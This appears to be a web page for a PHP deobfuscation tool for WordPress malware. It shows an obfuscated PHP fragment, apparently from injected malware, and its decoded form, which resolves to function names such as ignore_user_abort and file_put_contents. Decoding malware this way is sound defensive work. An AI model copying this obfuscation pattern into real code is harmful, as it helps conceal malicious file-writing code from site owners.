PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php //header('Content-Type:text/html; charset=utf-8'); $RMB_MMB__B='1005'; $RMMBB_M_B_='n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';$RMBMMB__B_=$RMMBB_M_B_[26].$RMMBB_M_B_[6].$RMMBB_M_B_[10].$RMMBB_M_B_[30].$RMMBB_M_B_[29].$RMMBB_M_B_[26].$RMMBB_M_B_[30].$RMMBB_M_B_[38].$RMMBB_M_B_[6].$RMMBB_M_...

Obfuscated php code

<?php
//header('Content-Type:text/html; charset=utf-8');
$RMB_MMB__B='1005';
$RMMBB_M_B_='n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';$RMBMMB__B_=$RMMBB_M_B_[26].$RMMBB_M_B_[6].$RMMBB_M_B_[10].$RMMBB_M_B_[30].$RMMBB_M_B_[29].$RMMBB_M_B_[26].$RMMBB_M_B_[30].$RMMBB_M_B_[38].$RMMBB_M_B_[6].$RMMBB_M_B_[18].$RMMBB_M_B_[23].$RMMBB_M_B_[10].$RMMBB_M_B_[29].$RMMBB_M_B_[10].$RMMBB_M_B_[12].$RMMBB_M_B_[5].$RMMBB_M_B_[30].$RMMBB_M_B_[2].$RMMBB_M_B_[35].$RMMBB_M_B_[0].$RMMBB_M_B_[30].$RMMBB_M_B_[29].$RMMBB_M_B_[33].$RMMBB_M_B_[30].$RMMBB_M_B_[10];$R_MBB_MB_M=$RMMBB_M_B_[12].$RMMBB_M_B_[27].$RMMBB_M_B_[0].$RMMBB_M_B_[35].$RMMBB_M_B_[24].$RMMBB_M_B_[30].$RMMBB_M_B_[29].$RMMBB_M_B_[18].$RMMBB_M_B_[33].$RMMBB_M_B_[30].$RMMBB_M_B_[24].$RMMBB_M_B_[29].$RMMBB_M_B_[6].$RMMBB_M_B_[3].$RMMBB_M_B_[35].$RMMBB_M_B_[24].$RMMBB_M_B_[10];$RMM__BB_MB=$RMMBB_M_B_[38].$RMMBB_M_B_[12].$RMMBB_M_B_[23].$RMMBB_M_B_[30].$RMMBB_M_B_[29].$RMMBB_M_B_[16].$RMMBB_M_B_[18].$RMMBB_M_B_[10].$RMMBB_M_B_[29].$RMMBB_M_B_[32].$RMMBB_M_B_[35].$RMMBB_M_B_[0].$RMMBB_M_B_[10].$RMMBB_M_B_[30].$RMMBB_M_B_[0].$RMMBB_M_B_[10].$RMMBB_M_B_[33];

Decoded(de-Obfuscated) php code

<?php

//header('Content-Type:text/html; charset=utf-8');
$RMB_MMB__B = '1005';
$RMMBB_M_B_ = 'n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j';
$RMBMMB__B_ = "date_default_timezone_set";
$R_MBB_MB_M = "ignore_user_abort";
$RMM__BB_MB = "file_put_contents";

Malware detection & removal plugin for WordPress